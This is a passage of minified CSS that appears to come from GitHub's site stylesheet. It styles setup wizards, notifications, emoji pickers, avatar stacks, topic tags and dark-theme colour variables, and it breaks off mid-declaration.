.wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 